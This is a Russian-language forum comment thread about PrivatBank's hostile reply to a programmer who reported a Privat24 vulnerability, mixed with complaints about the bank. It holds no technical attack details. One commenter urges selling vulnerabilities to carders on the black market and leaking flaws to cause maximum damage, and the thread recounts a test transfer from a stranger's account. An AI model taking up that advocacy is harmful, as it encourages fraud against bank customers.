CDMA UA и Интертелеком — это вооообще разные операторы, и друг с другом никогда отношений не имели. Если половина села с покрытием, вторая без, то я лично у себя ставил усилитель (чтобы к теще достало), а потом нажаловалсфя в интер… через 4 месяца — поставили новую вышку. Они как-то подозрительно, но относительно быстро реагируют на такие запросы.

Блин, все, кончаю про Интер писать, а то опять скажут что я в интертелекоме работаю :)
praporshik
Теперь это один оператор. Как минимум — в Днепропетровске и области. Меня от них интересовала, в первую очередь, замена постоянно выходящему из строя проводному телефону, вариант с усилителем не подходил.
Vertex
Незнал, что в Ваших краях так все печально… :( Я в Восточную Украину редко езжу… чаще на западную и по южной. Переезжайте к нам! :)
praporshik
Ко мне с городских звонили. 056 — код Днепра вроде.
Vertex
056 7369129 — это из моего «чёрного списка»
praporshik
Кому? У них вакансии на сеньор разработчика 500-600$, недавно смотрел.
Vertex
Книга есть такая- The Lure (S. Schroeder). Там отлично изложена история про двух челябинских специалистов, которых пригласили на работу в США. Контракты, помнится, вышли лет по 5-7 с бесплатным проживанием и одеждой с едой на шару.
RDSergij
А Google, Facebook, Mozilla, Microsoft, которые платят за найденные баги, несомненно, находятся в каком-нибудь Сомали, да.
praporshik
Ну, хакеру, который запостил что-то на стену Цукерберга через уязвимость, так и не заплатили, хотя в предыдущие полгода он несколько раз писал отчёт об этой уязвимости в их службу поддержки.
fenrirgray
Так собрали же вроде всем светом 12к зеленых.
Podbelniy
Речь шла о том, что компании платят за найденные уязвимости.
romeo_ordos
Компании-то платят, но при соблюдении определенных условий, а индус собственно их нарушил.
Shedal
Вроде бы он палестинец был…
AndrewShmig
Так пусть радуется, что дело не завели
Shedal
Программа «Bug Bounty» есть и у ПриватБанка, начиная с 2011 года.

Называется она «Поиск IT-уязвимостей»: privatbank.ua/safeness/

Если Вам известны «слабые места» в банковских системах, а также любых веб-ресурсах ПриватБанка, сообщите об этом нам и получите вознаграждение до 10 000 гривен в случае подтверждения и устранения уязвимости специалистами Банка.

AndrewShmig
А если устранить не смогут, то посадят?
Flammar
Ну не говорить же, что мы идиоты и запустили в паблик дырявое приложение, которое позволяет кому угодно распоряжаться деньгами наших клиентов — поэтому надо срочно свалить с больной головы на здоровую!
А к Приватбанку один вопрос: ВЫ ОХЕРЕЛИ ТАМ? Я ваш клиент уже 7 лет, и знаете, что я сейчас делаю? Я ищу другой банк!
vadimzz
А кто их вообще за язык тянул? Заплатили бы человеку, но при этом попросили подписать NDA — и дело с концом.
А так они заяву накатали на ровном месте, и думали что огласки не будет? По сути сами же ее и создали.
csdoc
Там не понимают этого, они и в перспективе ничего не видят даже — следующий раз фиг кто скажет, что нашел в них баг — быстрее продаст на черном рынки (или на крайняк использует сам). В результате банк потеряет кучу денег из-за использования уязвимости и еще больше репутации в случае поднятия шуму людьми, у которых пропадут деньги.
VolCh
Теряет не банк деньги, а клиенты… недавно у знакомого 150 000 грн увели с Приват-Банк24, вернуть удалось только 70 или 80к. Банку было вообще нас&ать. Даже СБ не шевелилась.
У этого недобанка уже давно репутации нету…
kikaha
Вы только сейчас начали искать другой банк? Да вы сударь терпеливый.
Sauron
Кстати как идентифицируют что ты хакер?
Это на лбу надпись светится? По моему любой разработчик может сделать анализ работу чужого софта, разве все программист хакеры?
FedLab
Очень просто: если ты нашел баг в чужой системе, ты — хакер, а это преступление!
Vertex
Правильно! Ибо обычные люди пользуются сервисами, а не ищут в них уязвимости.
valbok
Обычные люди, «продвинутые пользователи» тоже вполне могут случайно натолкнуться на баг, и понять его суть. В этом случае преступлением станет любопытство и желание помочь сотрудникам банка исправить их ошибку :)
holyorb2
Нет. Ибо это автоматически делает обычного человека «хакером». Честный человек должен закрыть глаза и пройти мимо. Да-да. Именно так оно и должно работать по мнению закона.
nile1
Мне очень жаль, что у нас не такое общество, в котором есть только честные люди. В таком обществе и банков бы не было.
WildHorn
Как связаны банки и (не)честность?
nile1
Это комплексный вопрос. Но в частности, в уважаемом себя обществе не будет мысли выдавать кредиты под 56% годовых.
WildHorn
Если заемщик об этом уведомлен, то почему нет?
vertus
Он не уведомлён. Мне пришлось полчаса потратить, чтоб высчитать по всем формулам суммарную переплату. В результате я отказался от кредита.
VolCh
Ну так ставки напрямую от рисков и сроков зависят.
Обеспеченные недвижимостью ипотечные кредиты вот вполне себе недорогие.
А кредит-займ на неделю без проверки платежеспособности — естественно, будет дорогой (и не 56%, а вполне и все 560% может быть), иначе кредитор превратится в благотворительную организацию )
vertus
И даже 730% вполне реально :)
VolCh
Он естественно дорогой, т.к. отсутствует фактор честности и самоуважения, как было отмечено выше.
С обеих сторон.
Да само понятие инфляции, которым оправдывают процент на кредит, не должно существовать.
vertus
Да само понятие инфляции, которым оправдывают процент на кредит, не должно существовать.

Как так не должно? Куда же она денется? )
ColorPrint
Сбалансированная монетарная политика позволяет исключить инфляцию. Но её полное отсутствие многими специалистами считается негативным фактором для экономики. У людей меньше стимулов инвестировать и больше хранить деньги «под матрацем».
VolCh
Процент на кредит обуславливают обычно двумя вещами:
— прибылью (большей инфляции как правило) — инвестору будет неинтересно давать деньги в долг без получения прибыли
— рисками — инвестор должен учитывать риск того, что кто-то кредит не вернет и понесет убытки.
vertus
«Реверс-инженеринг — нарушение EULA;-)». Дальше от этого можно плясать куда угодно…
ColorPrint
Что за привычка ссылаться на практику «в цивилизованных странах», обосновывая репрессивные действия. Как в хороших начинаниях брать пример с цивилизованных стран, так нет — «у нас свой путь».
VolCh
«Система ниппель: туда — дуй, оттуда — , в общем, 'не дуй'»;-) тоже в некотором смысле «двойные стандарты»…
VolCh
Надо понимать, что у них система безопасности бьет тревогу даже когда переводишь деньги между своими картами в разных банках. Так что приведенный аргумент(со стороны привата) для меня сомнителен.
Flammar
Самое страшное, что все логичные доводы (изменил для целей показа, никаких денег не заработал, уведомил сразу банк и пр.) нашим «самым гуманным судом в мире» не будут услышаны, ведь у истца есть связи и миллионы. У нас так людей за клевету на форумах штрафуют — написал, что «фирма Рога и Копыта не выполнила мне ремонт, гандоны долбаные», и получаешь потом штраф или исправительные работы.
nile1
Ну как аукнется так и откликнется.
Flammar
Уверен многие (в т.ч. и КПИшники) поддержат парня в случае, если дело пойдет дальше обычных обсуждений в СМИ
faddistr
ПриватБанк те еще неадекваты. Стоит только поискать:
habrahabr.ru/post/78599/
habrahabr.ru/post/93643/
habrahabr.ru/post/138429/
habrahabr.ru/post/104233/
habrahabr.ru/post/111853/

Кстати, вчера по всей Украине лежала куча их POST-терминалов, Приват24 не работал, мерчанты постоянно выдавали ошибки (у нас штук 50 платежей не ушло из-за бредовых ошибок вроде «Невозможно оплатить с мерчанта 0» и ошибок SSL).
Nomad1
Может они как Apple сейчас начнут перелопачивать всю систему безопасности и закроются на 2-3 недели. :)
lampa
действительно ПРИВАТ
YAAP
скорее «ПриветБанк» :D
nick4fake
Он может и сложный (хотя как по мне — не сложнее OTP'шного), но зато гораздо функциональней.
Например я узнавал у того-же OTP — их интернет-банк не позволяет проводить обмен валют, а для меня это нужная операция, хотя может их сотрудница неправильно выразилась. Не говоря уже об интерфейсе для пополнения телефона, покупки билетов, пополнения своего счета через любую карту и прочего функционала.
mOlind
А кроме ОТР других банков нет, у меня не Приват уже много лет как отказался работать с этим дерьмобанком, есть карты нескольких других банков и там очень даже вменяемый клиент-банк, включая любые платежи, покупки и т.п. Рекламировать не буду, если нужно найдете функциональный клиент-банк за пол часа просто позвонив в службу поддержки разных банков.
Seldon
Да есть другие банки, это те два — которыми я пользуюсь лично. Остальные знаю только по рассказам. Но это не только мое мнение, что ПБ по количеству услуг в онлайн-банке (к сожелению, не по качеству) заметно опережает другие банки.
wearymax
Рекламировать не буду

Рекламировать не надо. Просто оставьте ссылку.
Anarchist
Лично мне нравится клиент Альфа Банк (Украина), как веб так и мобильное приложение. Из фишек, которых нет больше почти ни у кого — блокировка/разблокировка проверки cvv, что позволяет не напрягаться и платить со своей карты в любой точке мира онлайн, не думая, что тебя подцепят на регулярные платежу. Из негатива, по слухам, отвратительное обслуживание кредитуемых клиентов, но я кредиты не беру так что сервис устраивает.
beardog
Приходится работать с ПБ только потому, что у каждого клиента есть карта ПБ. Хоть об этом банке и известно много гадостей, нас это ниразу не коснулось.
Несмотря на всю косность службы безопасности (а именно они, судя по всему, и начали создавать видимость бурной деятельности, как это было в своё время с детектором лжи), их IT-подразделение, хочу заметить, занимается экспериментальными и передовыми (как минимум, для Украины) разработками в сфере интернет-банкинга. Это в ПБ я впервые получил возможность работать со своими счетами в терминалах и банкоматах даже без карты в кармане. Это у них есть мобильный платёжный терминал (первый и, пока, единственный в Украине). Это на тематической встрече, организованной ими, я смог увидеть одни из первых Google Glass в Украине. И, кстати, они экспериментируют с Приват24 для Google Glass.
Имея карты и счета в других банках, более удобного веб-сервиса я не знаю.
kinguru
Почему я отказался от работы с приватом, было 3 прецедента:
1) Находясь не в своем городе, банкомат сожрал карту, нужны были срочно деньги, в наличии был паспорт и загран-паспорт, в отделении мне отказали в выдаче денег с моего счета, т.к. внимание, у меня нет карты, перевыпуск карты занял почти месяц.
2) После попытки нелегально списать деньги с моей карты, попытался закрыть свой счет, но не смог получить деньги оставшиеся там сразу, процедура заняла 2 недели со звонками в главное отделение.
3) Через 3 года после того как перестал пользоваться их услугами (все счета закрыл, со скандалом по пункту 2) мне начали названивать представители банка и в ультимативной форме требовать погасить задолженность, так как якобы у меня остались не закрытые счета (какая-то хрень типа подарочной карты, которая выпускается без ведома клиента) и тададам они мне насчитали комиссию за ее обслуживание, естественно были посланы в жопу суд, но звонки не прекратились, хорошо у них был старый номер, который не жалко было выбросить (на заметку тем кто открывает у них счета, в информации указывать отдельный номер).

В дополнение на товарища они оформили кредит, который он не открывал, доказывал через суд, банк не смог предоставить копию договора с его подписью, та копия что была, была подписана не им, соответственно экспертиза подписи и испорченные нервы на пол года. Про их говносервис liqpay, который теряет платежи через раз еще можно рассказать. Хуже сервиса нет ни у одного банка, в плотную к ним стремится Аваль, но пока даже близко не догоняет, зато банкоматы по всему городу — это да, хотя нафига они нужны если карты принимают в любом магазине, не ясно. В кошельке обычно гривен 200 мелкими купюрами, на проезды, и всякие мелочи, остальное на картах ибо удобней.
Yngvie
А личным сообщением прорекламировать тоже никак?
RicoX
После того как я увидел их UI для клиентов у меня напрочь отпало желание иметь с ними дело, поскольку такой же хаос наверняка вторится и во всем остальном. Ну а о секьюрности, думаю, можно не говорить, посольку судя по UI/UX денег в back-office вложили маловато.

Из всех перечисленных операций в моембанке нет только обмена валют (не особо и надо).
Остальное все можно сделать на специальных сайтах (билеты, телефон etc).
Yngvie
субъективно: пользовался ПБ, дельта и пумб.
В последнем у меня их клиент-банк под линуксом не запустился, саппорт заявил, что они не поддерживают ничего, кроме виндовс (при том, что это java-апплет и, по хорошему, должен одинаково работать во всех ОС). После переписки с саппортом выяснили ошибку и протестили на их дев. сервере, еще через месяц они залили обновление на прод. В это время я уже не был их клиентом.
Клиент-банк от дельты запустился без проблем, но, по сравению с тем же приват24, он куда более сложный и непонятный
truezemez
ну POS же… айтишный ресурс, блин :)
RicoX
Надо понимать что за такую дыру в протоколе по голове гладить не будут. В первую очередь отгребут работники ПриватБанка. Какой выход? Свалить вину на кого-то еще. Это вообще прекрасный оборот:

Изъян в системе, который он нашел, не является страшным, не особенно угрожает клиентам банка.

И репутацию подмочили и о дальнейшем сотрудничестве речи быть не может. Кто из разработчиков захочет им рассказывать где у них еще прокол? Я бы не рассказывал.
vertus
Так если он не угрожает, за что его тогда обвинять? ;)
RicoX
Вы почитайте, что за каша у них в голове:
Нужно понимать, что он хакер. В цивилизованных странах это уже преступление.
gluk
Взаимоисключающие параграфы?

Даже высокий уровень безопасности не означает полную неуязвимость!
Если Вам известны «слабые места» в банковских системах, а также
любых веб-ресурсах ПриватБанка, сообщите об этом нам и получите вознаграждение до 10 000 гривен в случае подтверждения и устранения уязвимости специалистами Банка.

privatbank.ua/safeness/
kinguru
«Экономика должна быть экономной — таково требование времени» ©, а под такую дудку могли решить его заставить бесплатно на них поработать за обещание дело не заводить.
YAAP
… в случае подтверждения и устранения уязвимости специалистами Банка.

А если не устранили, то скажите спасибо, что не подадим в суд.
kinguru
Подождите, ведь парень написал сотруднику ПриватБанка в Днепропетровск, написал служебку в СБ Киевского отделения, это разве не доказательства предупреждения об опасности, а не использование ситуации в корыстных целях? Единственная подстава — подмена официального приложения банка, надо было этот момент как-нибудь заверить с указанием факта именно демонстрации возможностей ошибки.
Но в целом, конечно, мрази, это очевидно.
beardog
Эмм насколько я понял официальное приложение банка он подменил у себя на телефоне или на телефоне сотрудников безопасности банка для демонстрации, ни в коем случа не на гугл сторе. Так что не вижу тут никаких проблем.
Поаправьте если я не так понял.
kinguru
По-совести проблем нет. Но если прочесть цитату
Как только Мохов попытался перевести чужие деньги, наша система безопасности забила тревогу
то видно, что его действия вырвали из контекста ситуации. По факту-то он действительно попытался перевести деньги и факт тревоги СБ тоже налицо. Только интерпретация действий мразотная, якобы это их заслуга в поимке «опасного хакера».

Я думаю, что если у него есть документальные доказательства, так сказать, раннего оповещения банка, то всё гораздо веселее, чем кажется, т.к. тут уже банку придётся доказывать, что действия Мохова в момент демонстрации уязвимости носили противоправный характер. Хотя я бы такой разговор всё равно вёл под диктофон, как минимум, или вообще начал бы общение только по предварительному подписанию документов, снимающих с меня ответственность за ситуацию с такой уязвимостью. Я не знаток УК Украины, но основопологающие моменты должны совпадать с УК РФ, как мне кажется.
Spectre
Действия безусловно носили противоправный характер, но т.к. он связывался с СБ банка и проводил действия в их присутствии, то значит у него не было умысла. А, соответственно, нет и состава преступления. Так что, по уму, суд ему не грозит.
mOlind
До того, как он демонстрировал эти действия в присутствии СБ банка, он протестил работоспособность дырки.

Чтобы доказать, что уязвимость есть, нужно убедиться в работоспособности методов. Для этого случайным образом из базы данных ПриватБанка был выбран человек (фамилия у него как то на «У» начинается, не помню уже). Ну я доказал и пошел все показывать. Опять-таки все описал в объяснительной записке.
Shark
Таких идиотов еще поискать нужно.
В таких случаях выносят благодарность и поощрение. Обычно в долларах США.
А не бочку катить и пытаться свое самолюбие поддерживать на должном уровне, закрывая глаза на калечность своего ПО.
mOlind
Чтобы доказать, что уязвимость есть, нужно убедиться в работоспособности методов. Для этого случайным образом из базы данных ПриватБанка был выбран человек (фамилия у него как то на «У» начинается, не помню уже). Ну я доказал и пошел все показывать. Опять-таки все описал в объяснительной записке.

ИМХО, тут он немного переборщил.
truezemez
Деньги то он вернул на ту же карту, меня больше смущает фраза:
Для этого случайным образом из базы данных ПриватБанка был выбран человек

т.е. у кроме всего прочего есть еще и доступ к базе клиентов?
YujiTFD
Оказалось, что банк позволял еще и переводить средства с карты на карту хоть в другой банк, хоть в другую страну (через Visa/Mastercard). Это помимо доступа к конфиденциальным данным человека (баланс, счета, кредиты, депозиты в банке)


Судя по всему, если и не было доступа к общему списку клиентов, то перебором информацию получить таки можно
vertus
)) в случае открытия уголовного дела, предлагаю всем клиентам ПриватБанка подать иск на ПриватБанк, так как дырка в безопасности их программного обеспечения позволили третьему лицу получить доступ к персональной инормации, которая, по закону, должна защищаться банком. То есть из-за халатности работы банка каждому клиенту был нанесен моральный ущерб, как минимум. Думаю, размер компенсации может заставить банк хорошо задуматься о своем иске.
П.С. Если в чем неправ, то более сведущие в юриспруденции хабравчане меня поправят.
оффтоп. вот и пригодилась незакрытая карточка ПриватБанка.
YujiTFD
В этом случае нужен коллективный иск + грамотно составлен грамотным юристом.
По одиночке мало кто захочет судится с ПБ
Seldon
по коллективному иску как раз банк может выиграть. и обработать один коллективный иск намного проще, чем тысячи одиночных. идея как раз в том, чтобы исков было много. основная идея не в том, чтобы выиграть эти иски. нужно, чтобы они просто были. думаю, что юристы меня поймут. Да и виновнику я отписал свою идею/позицию, посмотрим, что он скажет. нужно, чтобы он сам для начала проконсультировался со своим юристом по этому поводу. ведь подобная деятельность может и повредить ему каким то образом, который я могу банально не заметить.
YujiTFD
Ну в этом случае нужна будет хотя бы помощь в составлении иска.
Я, например, как человек не особо знаком с этим делом — долго буду разбираться как правильно его составить, куда подавать и т.д.
WildHorn
Скажите, я правильно понял, что он ранее работал в компании Samsung и проекте Viewdle?
YAAP
Нет, вы не поняли, он работал в компании Samsung и проекте Viewdle
struggleendlessly
Ему не нужно было переводить чужие деньги, взял бы свою карту и продемонстрировал. Я сам не однократно находил уязвимости в их сервисах, подавал заявки и получал вознагрождение. Но я использовал только свои карты.
professor_k
Нужно было продавать уязвимость тем, кто сможет ей распорядиться. Заработал бы себе на лексус, а у СБ банка появилась бы возможность показать, как они бы действовали против настоящих хакеров. К сожалению, у нас в стране банки понимают только такие методы.
blo
Недавно на хабре статья была про челвоека, который пытался продать свое «решение» по телефонным карточкам.
Чем все закончилось — почитаете.
Если в 2х словах — то нет гарантии, что «покупатель» не будет подставной.
YAAP
В ближайшие две недели руководство банка решит, возбуждать ли дело по этому факту.

Что за нелепость. Дело возбуждают правоохранительные органы.
bershadskiy
Дело возбуждают правоохранительные органы.

По заявлению от банка.
То есть: в органы подается заявление о (например)мошенничестве, возбуждается дело.
А потом уже оно может быть закрыто по причине отсутствия состава преступления.
YAAP
Органы решают, возбуждать ли им дело на основании поданных документов.
bershadskiy
ПриватБанк ответил неожиданно, обвинив программиста в попытке украсть средства со счетов клиентов банка.

Честно говоря, ПриватБанк ответил ожидаемо. Это далеко не первый случай такой реакции со стороны ПриватБанка на письма программистов, где указываются конкретные уязвимости.

Мой знакомый довольно долго «шел на принцип», выискивая уязвимости и заваливая банк письмами с требованиями исправить ошибки (причем письма он составлял с юристом — и на основании своего клиентского договора с банком именно требовал обеспечить безопасность в том числе собственных денег). Результат нулевой, если не считать попыток травить его собственной СБ, милицией и судами.

В общем, суть моего комментария проста. Реакция ПриватБанка — не случайность, а последовательная политика компании.
YAAP
как я писал выше, требования что то делать воспринимаются широкой русской душой как надругательсвто. а есил бы требовали компенсации за преступное и халатное бездействие, то реакция была бы как нужно. правда могу ошибаться. Но, данный случай может дать всем нам шанс проверить это. если хотя бы 5000 клиентов подадут иск, то ПБ как минимум прийдется задействовать большие человеческие ресурсы для обработки и ответов на все эти иски. да, сумма компенсации (1000-5000) может оказаться для банка совсем небольшой и им проще будет откупиться, но тут уже дело принципа. можно или оставить случай без внимания, а можно уже начинать проявлять свою жизненную позицию.
neepolas
Надо понимать, что "хакер" != «преступник».
XAMelleOH
Для нерезидентов Украины поясню — ПриватБанк у нас самый безалаберный банк из всех имеющихся. Некомпетентность и хамство — его визитная карточка. Подобная неадекватная реация вполне в его стиле…
dinikin
К сожалению, ему нет равных по количеству банкоматов и отделений… Банкоматы есть везде. У нас в Николаеве нужно еще поискать перекресток без банкомата привата.

А в плане некомпетентности — тут согласен, бывает. Сам им пару раз объяснял как что-то у них же неработает. Если нужно сдать что-то не стандартное — лучше в отделение не идти. Пишешь им в «чатик» и через 5-40 минут проблема обычно решается. С решением уже можно идти в отделение, если это нужно.

Зато еще к достоинствам можно отнести очень функциональный клиент-банк. Далеко не во всех баках есть подобные возможности.
Gero
А какой смысл в этих банкоматах, если все равно со своих же клиентов комиссию берут? И есть банки сети «Атмосфера», тоже банкоматы есть везде + приложение для девайсов, которое помогает их находить. Я после перехода с ПриватБанка на КредитАгриколь почувствовал наконец-то что такое нормальное и человеческое обслуживание, адекватная круглосуточная техподдержка и отсутствие ощущения, что тебя держат за мудака, которому постоянно нужны какие-то кредитные карты и конечно же очень интересно получать смс, что теперь мой кредит повысили на 100$.
YAAP
С другой стороны из пятка банков только Приват смог решить мои проблемы, пускай и долго транзакции длятся.
RDSergij
И это ему не мешает развиваться и быть одним из крупнейших, наиболее функциональных банков. Люди колятся, но работают с ним.
Хотя я лично зарекся когда либо возвращаться в ПБ. Нервы и деньги важнее банкоматов и интернет банка.
Mantis
Из текста на [ kpishnik.kpi.ua/archives/1114 ] есть кое-что, что не считаю хорошей идеей:
-То есть ты перечислил деньги со счета случайного человека чисто для демонстрации? Сколько, кстати?
-Вроде 430 или 450 грн. Кстати, средства, конечно же, были возвращены назад владельцу.

То, что вернул — хорошо. Но для демонстрации надо было взять счет не случайного человека, а как минимум знакомого, который дал согласие.
Nomad1
Одного меня мучает вопрос закрыта ли уже дыра, ити всё пока на своих местах?
Mantis
закрывают как правило быстро, максимум 1 мес
bershadskiy
Судя по описанию уязвимости известно куда копать для поиска этой дыры, так что если её оперативно не закрыли, то в ближайшее время ею воспользуются.
samodum
Как ни странно, злоумышленники предпочитают другие методы, менее технологичные.
sokovenko
Прикол из жизни.
Я завел в аккаунт ПБ свою штатовскую карту, а через 12 часов мне позвонили из Визы за разрешением блокировать карту — ею уже пытались уплатить на украинской автозаправке.
beardog
Вы, будучи на украинской территории, пытались платить или кто-то ещё?
CENTUR10N
Нет, у меня нет раздвоения карты и личности — украинская заправка и я пребывали по разные стороны Атлантики.
Jimie
Т.е. даже не через дырку в банк-клиентте, а клон сделали?
VolCh
Да они *банулись там…
valbok
Эта история как-то противоречит этой истории про тот же банк но другие уязвимости…
VYBGSS
Всем привет, я редактор ресурса, на который ссылается пост. Хотел сам запостить, да кармы пока не хватает.

Алексей говорил, что хочет опубликовать все технические подробности уязвимости здесь (естественно, после того, как уязвимость пофиксят). Правда, не знаю, законно ли это.

Если кому-то интересно, то вот обсуждение истории на D3 и на форуме украинских программистов Developers.org.ua.
VBKesha
Если пубилкация подробностей будет после фикса дырки и (в идеале) с письменным разрешением ПБ — то почему нет.
С удовольствием почитал бы!
dinikin
Давайте задумаемся о мотивации. Исследователь тратит свое время на поиск уязвимостей, и часто вынужден потратить еще больше времени и усилий чтобы что-то доказать корпорациям и заставить их чесаться. Что он может получить взамен? Просить денег — прямая дорога в тюрьму, проверено неоднократно, даже не пытайтесь повторить. Публиковать в открытом доступе под своим именем — имеем весьма спорный профит с самопиара и неиллюзорный шанс отхватить люлей, при регулярной практике этот шанс непременно сработает.
Какая может быть еще мотивация? Самое очевидное — использовать уязвимость самому, или продать на сторону. Если эксплоит имеет ценность, чаще всего так и делается, при определенной удаче можно грести бабло, а за удобную 0day уязвимость в определенных продуктах можно сразу купить квартиру в Москве. А на паблик сливают лишь негодный для эксплуатации шлак, годные дыры становятся известны лишь после длительной эксплуатации. В случае с приватбанком, кардеры бы спокойно выложили до 50к за такую тему, а будь эта уязвимость в каком-нибудь европейском банке, можно смело просить 200к и присматривать себе недвижимость.
Продавайте уязвимости на черном рынке, исключение — те компании которые прямо предлагают деньги за поиск уязвимостей. Но тут надо сравнивать где дадут больше.

Помните, корпорации нам не друзья и не братья, а подлые и лицемерные враги, они делают красивое лицо и держат нож за спиной. Хотите сделать мир лучше — сливайте всё негодное для юзания в паблик анонимно, создавая максимум шума и паники чтобы нанести как можно больший ущерб. Корпорации косячат — значит должны страдать. Как они к нам, так и мы к ним.

З.Ы. Народ, что-за адский наивняк? Здесь одни говорят что «в цивилизованных странах» хакера на работу возьмут, другие говорят что вознаграждение дадут. Снимайте розовые очки, а то жизнь обламывает такие мечтания с крайней жестокостью. Какая к чертям работа, тут не сеть и то замечательно. А будет на работу устраиваться, никогда не признавайтесь что хоть раз в жизни что-нибудь ломали.
blo
Из ваших слов сделаю вывод, что в результате любое телодвижение должно упираться в квартиру в Москве?

Корпорации косячат — значит должны страдать.


Да не будут они особо страдать. Страдать будет баба Люба, уборщица, которую принудительно перевели на обслуживание (зарплатный проект) в ПБ и которая в какой-то момент просто не сможет получить те 800 грн…

А корпорации — ну да, минус по репутации. Ничего, найдут крайнего, перевернут все в пиар да и только.
Резюмируя: если смотреть на все это с выгодой для себя (а вы, почему-то, только эту сторону рассматриваете) — да, наиболее оптимальным будет слить инфу втихую. Но я все же надеюсь наберется немало людей, которые готовы проинформировать банк\фирму\корпорацию об уязвимости не ради собственной наживы.
dinikin
А вот и сам Алексей: habrahabr.ru/users/vertuozzo/. Если у кого-нибудь есть инвайт, дайте ему, чтобы он рассказал тут все подробности и ответил на все ответы.
bloodmoon
Ждем пост, инвайт выдан.
Flammar
Вот немного подробностей ain.ua/2013/09/04/137788
bloodmoon
Продал бы уязвимость кому-нибудь заинтересованному, да и все. Зачем с дебилами связываться, это себе дороже.
Flammar
А это уже действительно преступление.
dkuzevanov
Лучше не сидеть за преступление, чем сидеть за непреступление.
k1k
>Изъян в системе, который он нашел, не является страшным
Какой хороший банк, считает что если у клиентов украли деньги-это нестрашно
politehnik
Никогда не пользовался услугами этого скотовника. И никогда теперь и не стану.
YAAP
Ошибки допускают все. Другое дело, что мои знакомые, работавшие в ПриватБанке, сами крайне негативно характеризуют этот банк — он старается всё сделать чем подешевле, не уделяя должного внимания качеству (кроме, разве что, рекламы). К сожалению, с моей точки зрения, это характерная черта большинства крупных компаний с громадным оборотом: ПрватБанк, Сбербанк РФ (… список можно продолжать… ). Они вне конкуренции, и это беда их клиентов, желающих большего. Подобные структуры зачастую слишком консервативны и жадны, чтобы быть на острие последних инноваций, особенно в ИТ-сфере, в которую они зачастую не так сильно вкладываются (разве что «для галочки»).
А ещё почему-то у них считается моветоном платить нормальную зарплату программистам, вот и не идут к ним квалифицированные профессионалы…
fossdev
Фи, уважаемый
YAAP
>> В цивилизованных странах это уже преступление.
Тонко, но все равно по-свински.
fossdev
Алексей Мохов репостит :)
vk.com/vertuozzo?w=wall3297570_7183
YAAP
Он уже здесь: habrahabr.ru/users/vertuozzo/, только пока в рид-онли.
politehnik
ПриватБанк редкостное говно, хочу я вам сказать.
«Кеш»-лимит распространяется на операции по карте, не только на наличные.
Голд карту выдать раньше одного года обслуживания не могут.
Снятие в своих банкоматах 1%, когда как перевод в другие банки 15р=)

Их эквайринг liqpay задерживает выплаты.
Жалобы остаются без ответа.

В общем попользовался месяц, с горем-пополам выводил с их счетов свои деньги в течение 3х месяцев из-за лимита.
Отказались закрывать счет, хотя по ГК РФ мое право на закрытие счета — исключительное. Так и сказали: «Можете обратиться в суд».

Никому не рекомендую.
Lipski
Их эквайринг liqpay задерживает выплаты.

Проблема только в том, что у других банков аналога liqpay вообще нет.

Да и вообще приват плохой, если сравнивать его со сферическим банком в вакууме. А если с реальными конкурентами, то особо с привата и уйти то некуда.

К примеру, я взял недавно карту Альфабанка, ну думаю типа ж крутой российский банк должен быть на уровне. Так при пополнении счета в рабочее время 17:45 через их банкомат в отделении, деньги на счет упали только на следующий день, при пополнении перед праздниками зачислили только через 3 дня. В общем походу там вообще всё в ручном режиме работает. Что как-то диковато после привата, в котором можно через терминал хоть в 2 часа ночи пополнить и деньги через 5 минут будут на карте.

В общем да в привате много глюков проскакивает, но спасибо им за то, что они в отличии от других хоть что-то делают, ну и пожелание наладить контроль качества.
blo
А как вам: приходит СМС «Вы получили перевод», а доступен он становится только через 10+ суток и, главное, это строго по регламенту.
DerKetzer
Зато, если память не изменяет, liqpay позволяет принимать платежи даже физлицами, не зарегистрированными в качестве ИП
nile1
Всем привет. Беспокоится в большей степени Q&A отдел (и меня заваливает просьбами выдать все детали по багу). Марат Шмуш (походу основной Android программист по Приват24) не может понять, где «зарыта собака», деталей не хватает. СБшники ПриватБанка (вроде как) спокойны, В. В. Максименко удивлен, почему мне никто не позвонил по результатам решения из Днепропетровска. До Пресс-службы дозвониться не выходит.
Gero
Алексей, а зачем подставились с переводом от случайного лица? Считаю, что нужно было свои деньги гонять.
sluge
Так и делал (вначале).
IDDQD
Свои деньги гоняются по другим схемам. Как минимум платеж не нужно подтверждать через SMS.
Поэтому перевод между своими картами непоказателен.
EagleXK
А кто говорит о том, чтобы на свою же карту переводить?
Главное, что деньги свои нужно использовать.
Я об этом речь веду.
notxcain
Можно поросить карту у приятеля. И делать переводы между ними
EagleXK
Конечно можно, а можно забить, как большинство бы и поступило. Ну серьезно — как вы это себе представляете? Я предполагаю, что нашел уязвимость, вряд ли конечно — это же банковское веб-приложение, а не школьная поделка… желание проверить так сильно, что я начинаю просить у друзей карты. У всех же есть ненужные активные карты, с небольшим количеством денег и желательно без cvv кода — я ж не хочу быть под подозрением если у него потом с этой карты в интернете деньги уведут?
Не должен человек нести ответственность за то что послал tcp пакет! Вот если бы он таким образом выявил уязвимость и использовал ее в корысных целях это другой вопрос. А после такого… вариант забить кажеться наиболее правильным.
notxcain
Привет банк вроде как из ТОП бакнов, но качество и уровень секюрити просто зашкаливает лажами.
Реальный недавний личный пример:
у меня VIP статус клиента, по их словам это означало, что кроме куратора, никто в филиалах банка не может получать доступ к моим счетам. Даже брат сват жона и остальные.
В итоге узнаю что ктото получил к моим данным доступ, т.е. я то знаю кто, моя бывшая со своим новым. Я бегом в банк, вижу что мои личные данные были все заменены на чужие!!! бегом блокирую счета и снимаю все деньги. Тутже успеваю получить инфу, записать номер телефона который использовался для доступа… Позже удивительно нахожу этот номер телефона по ежемесячным оплатах за какоето смс информирование. Т.е. ежемесячно 60 центов снималось на данный номер, он же был использован для доступа к моим данным. Звонил на этот номер, там ребенок поднимает все время трубку, т.е. он в частных руках а не у банка.

Короче начинаю долгие походы в банк. Пишу заявления о нарушениях и взломе. Мне отписываются — мол сами виноваты, не раздавайте кому попало свои контактные данные и все. Ходил в их отдел безопасности, дал им все уже готовое, кто когда и как… в ответ тишина, все что могил сказать это «Ну бывает, просто недобросовестные сотрудники» !!!!?!?!?!7 крутой ответ от отдела безопасности банка. Короче ПРИВЕТ банк идет лесом… ему доверия в минус 1000 очков, им походу побоку даже VIP клиенты.
Как мне намекнули потом, банку не выгодно лишний шум о нарушениях безопасности, типа рейтинг. Вот и заминают все что могут. Потому ничего удивительного что там бардак и всплывают разные истории в инете.
IDDQD
Не хочу Вас расстраивать, но тут не работники банка виновны.
Аналогичная ситуация. Дал двоюродному брату расчетную карту. О том, что расчетную карту можно активировать только имея кредитку привата — вообще отдельный разговор. Активировал на себя.

И тут в один прекрасный день я не могу войти в приват24. Мало того, моего номера вообще нет в системе.
